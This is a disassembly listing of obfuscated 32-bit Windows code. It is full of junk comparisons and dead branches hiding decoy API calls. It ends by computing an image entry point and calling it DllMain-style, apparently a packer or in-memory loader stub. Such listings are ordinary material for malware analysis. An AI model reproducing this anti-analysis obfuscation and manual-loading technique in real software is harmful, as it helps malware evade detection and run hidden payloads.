call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x42e57b
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x60], eax
je 0x42e69f
mov dword [ebp - 0x40c], 1
jmp 0x42e6a6
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jne 0x42e83c
cmp dword [ebp - 0x8c], 0
jne 0x42e70c
imul eax, dword [ebp - 0x18c], 0x3446
test eax, eax
jne 0x42e6e8
mov eax, 0xbbbfefa2
test eax, eax
jne 0x42e6e8
and dword [ebp - 0x414], 0
jmp 0x42e6f2
mov dword [ebp - 0x414], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x6a8]
imul eax, dword [ebp - 0x414]
cmp eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x84], eax
jg 0x42e723
mov dword [ebp - 0x41c], 1
jmp 0x42e72a
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x41c]
sub eax, dword [ebp - 0x8c]
je 0x42e73e
cmp dword [ebp - 0x60], 0
jne 0x42e747
cmp dword [ebp - 0x454], 0
je 0x42e75c
cmp dword [ebp - 0x84], 0
je 0x42e75c
mov dword [ebp - 0x59c], 1
jmp 0x42e763
and dword [ebp - 0x59c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x6a8]
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8c], 0xffffffff
ja 0x42e78b
mov dword [ebp - 0x424], 1
jmp 0x42e792
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x424], eax
jge 0x42e7ac
mov dword [ebp - 0x42c], 1
jmp 0x42e7b3
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x57c]
cmp dword [ebp - 0x42c], eax
jg 0x42e7cd
mov dword [ebp - 0x434], 1
jmp 0x42e7d4
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x434]
lea eax, [ecx + eax + 3]
test eax, eax
je 0x42e7fa
cmp dword [ebp - 0x60], 0
je 0x42e7fa
mov dword [ebp - 0x43c], 1
jmp 0x42e801
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x43c], eax
jl 0x42e81b
mov dword [ebp - 0x444], 1
jmp 0x42e822
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
sub eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x194]
jle 0x42e83c
and dword [ebp - 0x44c], 0
jmp 0x42e846
mov dword [ebp - 0x44c], 1
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x454], eax
jmp 0x42e50c
jmp 0x42e4aa
jmp 0x42e46f
mov byte [ebp - 0x92], 0
movzx eax, byte [ebp - 0x92]
test eax, eax
je 0x42e87f
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push dword [ebp - 0x44]
push 0x67eb
push 0x1e5b
push 1
push 0
push 1
push 0x4b25
push 0x751d
push 1
push 0x1661
call fcn.0042326c
add esp, 0x28
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x2c], 9
mov dword [ebp - 0x19c], 0xf2c9a130
mov dword [ebp - 0x1c4], 1
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x1cc], 0x67b11082
mov dword [ebp - 0x1d4], 0xdaf8d98c
cmp dword [ebp - 0x14], 0
jne 0x42e9a7
cmp dword [ebp - 0x14], 0xfffffffe
jne 0x42e907
mov dword [ebp - 0x45c], 1
jmp 0x42e90e
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x45c], eax
jg 0x42e925
mov dword [ebp - 0x464], 1
jmp 0x42e92c
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0x83c6
je 0x42e944
mov dword [ebp - 0x46c], 1
jmp 0x42e94b
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x46c], eax
jle 0x42e962
mov dword [ebp - 0x474], 1
jmp 0x42e969
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x474]
cmp eax, 0x3f6085e0
jl 0x42e986
mov dword [ebp - 0x47c], 1
jmp 0x42e98d
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x14], eax
jge 0x42e9a7
and dword [ebp - 0x5ac], 0
jmp 0x42e9b1
mov dword [ebp - 0x5ac], 1
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x7e8], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], eax
je 0x42e9ce
mov dword [ebp - 0x5b4], 1
jmp 0x42e9d5
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x858], eax
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x19c], eax
jl 0x42e9f5
mov dword [ebp - 0x484], 1
jmp 0x42e9fc
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x484]
jg 0x42ea26
mov byte [ebp - 0xc7], 0
movzx eax, byte [ebp - 0xc7]
test eax, eax
je 0x42ea21
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
jmp 0x42ecae
mov dword [ebp - 0xb4], 0x6af9
mov dword [ebp - 0x258], 0
mov dword [ebp - 0x2c], 0
jmp 0x42ea4a
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x1a
jg 0x42eae8
cmp dword [ebp - 0x19c], 1
jg 0x42ea69
mov dword [ebp - 0x48c], 1
jmp 0x42ea70
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 1
jbe 0x42ea8e
mov eax, 0x1dbc
test eax, eax
je 0x42ea8e
mov dword [ebp - 0x494], 1
jmp 0x42ea95
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x494], eax
jge 0x42eaaf
mov dword [ebp - 0x49c], 1
jmp 0x42eab6
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x19c]
cmp eax, dword [ebp - 0x49c]
jle 0x42ead0
mov dword [ebp - 0x4a4], 1
jmp 0x42ead7
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0xb4], eax
jmp 0x42ea43
xor eax, eax
inc eax
je 0x42eaff
cmp dword [ebp - 0x2c], 0
je 0x42eaff
mov dword [ebp - 0x5bc], 1
jmp 0x42eb06
and dword [ebp - 0x5bc], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x7f0], eax
or eax, 0xffffffff
je 0x42eb1d
cmp dword [ebp - 0x14], 0
jne 0x42eb2f
cmp dword [ebp - 0x1c4], 0
jne 0x42eb2f
and dword [ebp - 0x4ac], 0
jmp 0x42eb39
mov dword [ebp - 0x4ac], 1
mov eax, dword [ebp - 0x4ac]
neg eax
je 0x42eb60
push 5
pop eax
test eax, eax
je 0x42eb60
xor eax, eax
je 0x42eb60
cmp dword [ebp - 0x2c], 0
je 0x42eb60
mov dword [ebp - 0x218], 1
jmp 0x42eb67
and dword [ebp - 0x218], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x218], eax
je 0x42eb7e
mov dword [ebp - 0x220], 1
jmp 0x42eb85
and dword [ebp - 0x220], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x724], eax
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xb4], eax
jl 0x42ebc3
mov eax, 0xceb2
test eax, eax
jne 0x42ebc3
and dword [ebp - 0x230], 0
jmp 0x42ebcd
mov dword [ebp - 0x230], 1
mov eax, dword [ebp - 0xb4]
imul eax, dword [ebp - 0x230]
cmp eax, dword [ebp - 0xb4]
jl 0x42ebee
mov dword [ebp - 0x238], 1
jmp 0x42ebf5
and dword [ebp - 0x238], 0
cmp dword [ebp - 0x238], 7
jbe 0x42ec0a
mov dword [ebp - 0x240], 1
jmp 0x42ec11
and dword [ebp - 0x240], 0
mov eax, dword [ebp - 0x1cc]
cmp dword [ebp - 0x240], eax
jle 0x42ec2b
mov dword [ebp - 0x248], 1
jmp 0x42ec32
and dword [ebp - 0x248], 0
cmp dword [ebp - 0x248], 0x5cd4dcd7
jg 0x42ec4a
mov dword [ebp - 0x250], 1
jmp 0x42ec51
and dword [ebp - 0x250], 0
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x258]
sub eax, dword [ebp - 0x1c4]
imul eax, eax, 0x4a0f
test eax, eax
je 0x42ec92
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x42ec92
mov dword [ebp - 0x5c4], 1
jmp 0x42ec99
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x72c], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x42ed1d
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1a4]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x260], ecx
jne 0x42ecee
xor eax, eax
jmp 0x42ee17
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x260]
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0
jne 0x42ed13
push 3
lea ecx, [ebp - 0x894]
call fcn.0042f328
mov dword [ebp - 0x68], 0
jmp 0x42ed3a
cmp dword [ebp - 0x68], 3
jge 0x42ed56
pop esi
mov esp, ebp
pop ebp
ret